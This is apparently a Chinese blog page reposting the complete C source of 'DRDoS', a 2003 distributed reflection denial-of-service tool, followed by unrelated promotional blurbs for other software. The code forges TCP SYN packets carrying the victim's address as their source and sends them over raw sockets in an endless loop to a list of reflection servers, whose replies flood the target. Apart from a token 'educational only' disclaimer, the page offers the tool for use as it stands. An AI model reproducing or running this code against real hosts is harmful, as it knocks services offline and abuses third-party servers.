一个DDOS工具源码

/**************************************************************************/
/* DRDoS - Distributed Reflection Denial of Service tool           */
/*                                                 */
/* Copyright (C) 2003 KrystalEye.com                         */
/*                                                 */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License, or   */
/* (at your option) any later version.                       */
/*                                                 */
/* This program is distributed in the hope that it will be useful,     */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of     */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the       */
/* GNU General Public License for more details.                 */
/*                                                 */
/**************************************************************************/
/* Version - 1.0                                       */
/*                                                 */
/* Purpose - Demonstration of DRDoS attacks                     */
/*                                                 */
/* Author - Nguyen Minh Nhat <ngmnhat@yahoo.com>                 */
/*       http://www.krystaleye.com/                       */
/*                                                 */
/* Disclaimer - You must be ROOT to use RAW socket.               */
/*           This program is for educational purposes only and     */
/*           network testing ON YOUR OWN NETWORK! Do not use it     */
/*           for malicious purposes!                       */
/*           I am in NO way responsible for what you do with this   */
/*           program, or any damage you or this program causes.     */
/*                                                 */
/* For whom - People with a little knowledge of TCP/IP, C source code   */
/*         and general UNIX. Otherwise, please keep your hands off,   */
/*         and catch up on those things first.                 */
/*                                                 */
/* Compiling - gcc -o DRDoS DRDoS.c                         */
/*                                                 */
/* Usage - Usage is described in the welcome screen of this program when */
/*       running it without arguments                       */
/**************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};

unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);

int main(int argc,char * argv[])
{
int val;

char fname[1000];
FILE * list;

char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;

int serverfd;
struct sockaddr_in server;

char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;

if (argc != 3)
{
  printf("/nDistributed Reflection DoS tool - v1.0/n");
  printf("Copyright (C) 2003 KrystalEye.com/n/n");
  printf("Usage: %s <list> <target IP>/n/n",argv[0]);
  printf("   -list   : Path to Zombies (/"Reflection Servers/") list file/n");
  printf("   -target IP: IP address of target/n/n");
  printf("*** Syntax of list file ***/n");
  printf("   -Each line contains 1 zombie's information/n");
  printf("   -Each zombie is described by 5 numbers:/n");
  printf("     4 octets of IP address (without '.') and Port number/n");
  printf("   -Numbers are seperated by at least 1 blank character (' ')/n");
  printf("Example: 203 162 56 78 80/n");
  printf("     => IP: 203.162.56.78 || Port: 80/n/n");
  printf("Email: ngmnhat@yahoo.com/n");
  printf("Good luck! Thanks for using this tool!/n/n");
  exit(-1);
}
else
{
  sprintf(fname,"%s",argv[1]);
  sprintf(saddr,"%s",argv[2]);
  sprintf(daddr,"%s",argv[2]);
  tport = random() % 10000;
  sport = tport;
  dport = tport;
}

if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
  printf("Error: malloc()/n");
  exit(-1);
}

bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));

ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);

helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);

tcp->source = htons(sport);
tcp->dest = htons(dport);
tcp->seq = htonl(random());
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->fin = 0;
tcp->syn = 1;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->window = htons(65535);
tcp->urg_ptr = 0;
tcp->check = 0;
helpcksum.tcp = *tcp;
tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
ip->id = random();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr(saddr);
ip->daddr = inet_addr(daddr);
ip->check = 0;
ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
  printf("Error: socket()/n");
  exit(-1);
}

setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));

bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;

if ((list = fopen(fname,"r")) == NULL)
{
  printf("Error: cannot open file/n");
  exit(-1);
}
fscanf(list,"%hu",&a);
if (feof(list))
{
  printf("Error: empty list/n");
  fclose(list);
  exit(-1);
}
fclose(list);

printf("/nAttacking %s.../n/n",argv[2]);
printf("Press <Ctrl-C> to Stop./n");

while (1)
{
  list = fopen(fname,"r");

  while (!feof(list))
  {
    fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);

    sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);
  
    helpcksum.pseudo.daddr = inet_addr(daddr);

    ip->daddr = inet_addr(daddr);
    ip->id = random();
    ip->check = 0;

    dport = tport;

    tcp->source = htons(random() % 10000);
    tcp->dest = htons(dport);
    tcp->seq = htonl(random());
    tcp->check = 0;
    helpcksum.tcp = *tcp;

    tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
    ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

    server.sin_addr.s_addr = inet_addr(daddr);
    server.sin_port = htons(dport);
  
    sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));

    usleep(100);
  }

  fclose(list);
}

close(serverfd);
return 0;
}

unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft > 1)
{
  sum += *w++;
  nleft -= 2;
}
if (nleft == 1)
{
  *(u_char *)(&answer) = *(u_char *)w;
  sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
小刀娱乐网源码是asp+access/mssql架构网站系统,电脑版,手机版,平板版无缝切换,一个后台同步管理,整站生成静态利于搜索收录,dreamweaver打开可视化修改。 专为制作“小刀娱乐网、QQ教程、易语言教程网、LOL教程、QQ业务、代码分享、教程发布”等等图片文字类型的网站而打造。 程序前台有首页、列表页、内容页、会员登录、会员注册、会员个人中心、会员积分体系、会员投稿、投稿编辑、会员签到、在线留言、文章评论、整站搜索等功能。 后台具备,批量数据采集、服务器信息、修改管理员个人资料、安全退出、一键安装模板、一键安装插件、更新缓存、站点设置、上传logo、上传背景图、管理员管理、程序一键升级、动态模式,静态模式,伪静态模式数据库管理、广告管理、友情链接管理、后台操作日志、栏目管理、新增文章、文章列表、评论管理、留言管理、添加会员、会员管理等功能。 主要功能: 程序在完全自主知识产权,享有计算机软件著作权证书的天人文章管理系统的框架下开发,在天人文章管理系统的功能上新增了如下: 采集功能专为采集xx娱乐网、xxQQ技术网而进行优化,可采集到这些网站的图片、网盘链接等。 前台电脑版整站显示手机版二维码,在顶部“手机版”字样,鼠标经过即显示二维码,扫描即可访问手机版。 列表页分为单列宽屏与双列2种模式,可在后台--栏目管理--宽屏,中切换 内容页分为单列宽屏与双列2种模式,可在后台--文章列表--页面底部--宽屏,中切换。或到后台--文章编辑页面--页面底部--宽屏,中切换 前台版面按照行业靠前的“小刀娱乐网”进行制作,方便您的访客更好的熟悉网站。 前台所有页面代码经过优化,加载速度更快,页面体积更小 前台页面没有iframe、frame等影响搜索引擎抓取与收录的代码,对搜索引擎十分友好 后台应用中心可安装,模板、扫码打赏插件、手机版与电脑版智能管理插件、屏蔽复制与鼠标右键插件、老y文章系统数据迁移至天人工具、OK3W文章系统数据迁移至天人工具、用户注册后自动登录插件、悬浮贴边客服插件、会员前台全功能编辑器插件、广告可视化管理插件、前台底部自定义内容插件、畅言、友言、多说万能评论插件、电脑版整站背景图插件、万能伪静态规则生成插件等等 可自动根据超链接生成下载按钮,不需要手动填写网盘名称,会自动识别。(方法:在后台文章编辑页面点击右上角第2行向左数第3个小锁链按钮插入链接,或直接在HTML代码模式插入链接代码即可,会根据具体的网盘自动生成网盘名称) 可在官方数据采集平台批量采集每日更新的海量内容 小提示: 1、修改程序源代码前请查看压缩包中开发说明 2、官网有关于本程序的使用教程及操作技巧 后台登录地址:http://你的网址/admin 登录账号:admin 登录密码:admin 小刀娱乐网源码(带手机版) 更新日志: 3.61更新: 优化自动生成按钮功能,非网盘链接不再生成按钮,只生成网盘链接的按钮(速度网络www.sudujun.com)
⒈充值卡只能按照管理员给予的一定数量生成的张数,例如: ①管理员比如给予您100张生成充值卡张数的话(在目前可以制作充值卡张数那里可以看得到获得的数量.)您只能生成的充值卡100张而已,无法再制造出更多的充值卡. ②您可以根据管理员给予你(如100张充值卡)您可以分批生成也行,先生成1-100张之间的卡卖完了再生成剩下的充值卡也是可以的.这个可以根据个人的销售情况做决定. ③注意如果管理员给予您一定的充值卡数量(如100张充值卡)如果利用非法的手段制造出比管理员给予您数量的还要多的话,被管理员查出一例将该代理商的充值卡和代理商资格进行删除或封号处理. ④充值卡一共分为5种:日卡、周卡、月卡、季卡、年卡.日卡的使用时间为1天,周卡的使用时间为7天,月卡的使用时间为31天,季卡的使用时间为96天,年卡的使用时间为365天. ⑤根据代理商生成出来的充值卡后管理员到时候会确认了代理商生成充值卡的类型再向代理商进行价格的谈论.具体的到时候请联系管理员...   ⒉导出当钱充值卡信息功能是为了代理商方便发放充值卡给买家们使用的一个很好功能.比如说: ①在代理商管理信息中看到的充值卡号码和充值卡密码等信息的时候切无法复制里面的内容,还要一个一个的照着打,而且还有大写小写的字母.这样一来导致输入错误的充值卡号码或者充值密码给买家,这样导致一个很不好的情况出现.所以代理商只要看到信息表里面有的充值卡号码和密码等相关信息的时候可以进行导出当前的信息.这样一开就不需要自己一个一个的照着输入了.方便又省事. ②此功能要注意的是,如果您现在是使用[充值卡查找]功能的话,再导出当前充值卡信息,就是导出您现在在使用[充值卡查找]功能里面所查询出来的充值卡号码的哦.如果想把完整的充值卡信息全部导出来的话,就点一下[刷新充值卡信息]就行了.   ⒊留言信息的功能主要是为了可以尽快的向管理员取得联系.主要的功能说明如下: ①读管理员留言,意思就是如果管理员有给代理商留言的话,代理商可以进行点击一下[读管理员留言]的按钮,如果有其他内容的话就表示管理员给您留下了消息. ②向管理员发送留言,该功能是代理商在留言的信息中发送您想对管理员说的信息,注意的是,如果发送成功了的话,就请不要再发送第二次了,因为发送第二次内容的话,前一次发送的消息就会被第二次的消息覆盖掉了.所以只能发送一次,值到管理员看到了消息后回复您才可以.   ⒋筛选功能:可以根据充值卡类型:天卡 周卡 年卡 进行分类筛选出未使用和已使用的充值卡.是个很方便查询大量充值卡的好功能哦.   ⒌如果代理商程序出现什么错误的话,请尽快和管理员取得联系.   ⒍本程序由CC个人独立开发完成,如有任何其他问题请向作者CC联系
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值